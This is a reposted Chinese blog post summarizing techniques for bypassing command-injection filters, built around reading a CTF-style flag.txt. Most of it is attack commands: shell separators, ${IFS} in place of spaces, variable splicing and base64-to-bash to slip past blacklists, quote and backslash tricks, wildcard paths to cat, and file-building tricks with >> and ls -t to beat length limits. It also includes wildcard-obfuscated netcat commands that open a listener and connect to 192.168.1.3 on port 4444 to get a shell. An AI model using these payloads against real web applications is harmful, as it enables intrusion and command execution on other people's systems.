1. 程式人生 > 其它 >cat命令讀取一部分_命令注入繞過方式總結

cat命令讀取一部分_命令注入繞過方式總結

前言
命令注入是web中常見的漏洞之一,由於web應用程式未對使用者提交的資料做嚴格的過濾,導致使用者輸入可以直接被linux或windows系統當成命令執行,一般都會造成嚴重的危害。

常用符號
分號(;)
多條語句順序執行時的分割符號。

1
cmd1;cmd2
管道符(|)

cmd1命令的輸出,作為下一條命令cmd2的引數。

1
cmd1|cmd2
and(&&)

與命令,cmd1成功則執行cmd2,cmd1失敗則不執行cmd2

1
cmd1 && cmd2
or(||)

或命令,cmd1失敗則執行cmd2,cmd1成功則不執行cmd2

1
cmd1 || cmd2
反引號()和$()
反引號和$()都可用來表示命令,被這兩種方式包含的字串都會被當做命令首先執行。

12
echo "result : `whoami`"echo "result : $(whoami)"
繞過方式總結
空格繞過
在過濾了空格的系統中,以cat flag.txt為例,系統不允許我們輸入空格或輸入後被過濾。

${IFS}
可使用${IFS}代替空格。

123
cat${IFS}flag.txtcat$IFS$1flag.txtcat${IFS}$1flag.txt
重定向符繞過(<>)
12
cat<>flag.txtcat
%09(需要php環境)
php環境下web輸入%09等效於空格

1
cat%09flag.txt
黑名單繞過
拼接
使用shell變數拼接被黑名單限制的關鍵詞

1
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;
base64
使用反引號包含base64解碼後的命令

1
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
將base64解碼後的命令通過管道符傳遞給bash

1
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
單引號,雙引號

1
c""at fl''ag.tx""t
反斜槓
1
c\at fl\a\g.tx\t
$1
1
ca$1t fl$1ag.t$1xt
讀檔案繞過
123456789101112
(1)more:一頁一頁的顯示檔案內容(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁(3)head:檢視頭幾行(4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示(5)tail:檢視尾幾行(6)nl:顯示的時候,順便輸出行號(7)od:以二進位制的方式讀取檔案內容(8)vi:一種編輯器,這個也可以檢視(9)vim:一種編輯器,這個也可以檢視(10)sort:可以檢視(11)uniq:可以檢視(12)file -f:報錯出具體內容
萬用字元繞過
/???會去尋找 / 目錄下的三個字元長度的檔案,正常情況下會尋找到/bin,然後/?[a][t]會優先匹配到/bin/cat,就成功呼叫了cat命令,然後後面可以使用正常的萬用字元匹配所需讀的檔案,如flag.txt檔名長度為8,使用8個?’’,此命令就會讀取所有長度為8的檔案。

1
/???/?[a][t] ?''?''?''?''?''?''?''?''
同理,我們也可以匹配/bin下的其他命令,如more,less,vi,tail等命令來檢視檔案,或者執行其他命令。

1
/???/[m][o]?[e] ?''?''?''?''?''?''?''?''

1
/???/[t]?[i][l] ?''?''?''?''?''?''?''?''
甚至開啟一個shell

1
/???/[n]?[t]??[t] -lvp 4444

1
/???/[n]?[t]??[t] 192.168.1.3 4444
命令巢狀
1
echo "result:`whoami`"

1
echo "result:$(uname -a)"
長度繞過
使用>>繞過長度限制
使用>>每次新增一部分命令到檔案中

1234
echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;
然後使用cat r | bash執行命令

使用換行執行和ls -t繞過長度限制
linux中,檔案中的命令如果需要換行書寫,需要在前一行末尾增加\,如檔案a中有

123
ca\t flag.t\xt
使用sh a即可執行命令cat flag.txt

ls -t可根據時間建立順序逆序輸出檔名

a可以建立一個名為a的檔案

按照這個思路,可以使用

1234
> "ag"> "fl\\"> "t \\"> "ca\\"
然後使用ls -t > s

s中檔案內容就是

123456
sca\t \fl\ag\其他的無關內容
之後使用sh s,即可執行cat flag

作者:Leticia,來源:Leticia's Blog

轉自https://blog.csdn.net/weixin_42373789/article/details/113451481